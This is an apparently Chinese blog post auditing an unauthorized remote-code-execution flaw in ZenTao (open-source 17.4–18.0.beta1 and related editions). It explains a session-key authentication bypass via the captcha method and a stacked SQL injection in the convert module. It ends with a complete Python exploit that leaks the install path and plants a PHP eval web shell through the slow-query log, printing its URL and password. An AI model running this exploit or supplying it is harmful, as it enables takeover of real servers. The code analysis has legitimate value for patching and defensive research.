禅道研发项⽬管理系统未授权漏洞
昨天微步上发布了关于禅道研发项⽬管理系统未授权RCE漏洞的信息
影响范围:
- v17.4<= 禅道 <= v18.0.beta1(开源版)
- v3.4<= 禅道 <= v4.0.beta1(旗舰版)
- v7.4<= 禅道 <= v8.0.beta1(企业版)
我于是选择了开源吧18.0bata1的程序下载下来审计
其中关键部分在于权限绕过
framework\base\control.class.php
if($this->config->installed && !in_array($this->moduleName, $this->config->openModules) && empty($this->app->user) && !$this->loadModel('common')->isOpenMethod($this->moduleName, $this->methodName))
{
$uri = $this->app->getURI(true);
if($this->moduleName == 'message' and $this->methodName == 'ajaxgetmessage')
{
$uri = helper::createLink('my');
}
elseif(helper::isAjaxRequest())
{
die(json_encode(array('result' => false, 'message' => $this->lang->error->loginTimeout)));
}
$referer = helper::safe64Encode($uri);
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
可以发现这一部分的代码在开头进行权限判断时候
empty($this->app->user)
只判断了user不为空即可
其中user的信息主要存在session中,所以只要能构造一个user的键即可
然后对允许访问的模块和方法进行审计发现了在misc模块的captcha方法中可以伪造session只能控制键不能控制值,正好可以用来绕过权限认证
\module\misc\control.php
public function captcha($sessionVar = 'captcha', $uuid = '')
{
$obLevel = ob_get_level();
for($i = 0; $i < $obLevel; $i++) ob_end_clean();
header('Content-Type: image/jpeg');
$captcha = $this->app->loadClass('captcha');
$this->session->set($sessionVar, $captcha->getPhrase());
$captcha->build()->output();
}
之后又到了权限验证部分
判断完成之后用die进行处理来到了这一部分
\module\convert\model.php
public function checkPriv()
catch(EndResponseException $endResponseException)
{
echo $endResponseException->getContent();
}
其中这个就是权限不满足时候执行的,原本这时候应该就要结束了,但是这里采用的是echo 所以导致了可以继续执行代码,所以只要上面的验证绕过,这里就可以继续执行。
在官方发布的新版中这里修改为了die
die($endResponseException->getContent());
代码不能继续执行了
权限认证绕过之后,发现可以访问一部分代码,在对后台的功能审计时候发现,在导入数据时候的数据库判断存在sql注入
\module\convert\model.php
public function dbExists($dbName = '')
{
$sql = "SHOW DATABASES like '{$dbName}'";
return $this->dbh->query($sql)->fetch();
}
public function connectDB($dbName = '')
{
$dsn = "mysql:host={$this->config->db->host}; port={$this->config->db->port};dbname={$dbName}";
try
{
$dbh = new PDO($dsn, $this->config->db->user, $this->config->db->password);
$dbh->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$dbh->exec("SET NAMES {$this->config->db->encoding}");
$this->sourceDBH = $dbh;
return $dbh;
}
catch (PDOException $exception)
{
return $exception->getMessage();
}
}
发现show语句中存在sql注入,然后根据连接方法connectDB判断可以在sql中构造堆叠注入。
然后就可以直接在数据库中添加管理员账号,进一步操作。
拿到禅道的管理员权限后就简单多了,后台可利用方法有兴趣自己研究下。
(rce的脚本github已经公布我补充下我当时sql的后续方法吧QAQ我是小菜鸡)
如果在sql的基础上继续利用可以直接尝试写shell
在官方一键安装中使用的默认数据库是root
但是secure_file_priv的值为空所以这个行不通了
但是既然是root用户可以利用慢查询写shell
只要知道物理路径就可以了
正好在前一步的sql中构造错误的sql可以暴漏物理路径
直接写shell
exp:
import re
import requests
class exp(object):
def __init__(self, url):
self.url = url
self.headers = {"Referer": self.url}
self.type = 1
self.routes = {
"a": ['/index.php?m=misc&f=captcha&sessionVar=user&uuid=1', '/index.php?m=convert&f=importNotice'],
"b": ['/misc-captcha-user-1.html', '/convert-importNotice.html']
}
self.route()
self.init()
self.path = self.getPath()
def route(self):
res = requests.get(self.url)
if "user-login" in res.text:
self.type = "b"
else:
self.type = "a"
def init(self):
res = requests.get(self.url + self.routes[self.type][0])
self.headers['cookie'] = res.headers.get("Set-cookie") + ";XDEBUG_SESSION=PHPSTORM"
def sql(self, data):
data = {
"dbName": f"';{data}#"
}
res = requests.post(self.url + self.routes[self.type][1], headers=self.headers,
data=data)
return res.text
def getPath(self):
res = self.sql("'xx")
data = re.findall('#0 (.+?)module',res)
return data[0] + "www/"
def shell(self):
# 0x3c3f706870206576616c28245f504f53545b277861697478275d293b <?php eval($_POST['xaitx']);
data = f"set global slow_query_log=1;set global slow_query_log_file='{self.path}www/shell.php'; select '<?php eval($_POST[\"xaitx\"]);' or sleep(11);#"
res = self.sql(data)
if __name__ == '__main__':
print("--------------------------------------------\n"
"v17.4<= 禅道 <= v18.0.beta1(开源版)\n"
"v3.4 <= 禅道 <= v4.0.beta1(旗舰版)\n"
"v7.4 <= 禅道 <= v8.0.beta1(企业版)\n"
"--------------------------------------------")
url = input("url:")
a = exp(url)
a.shell()
print("写入成功\n"
f"url:{a.path}/shell.php\n"
"密码:xaitx")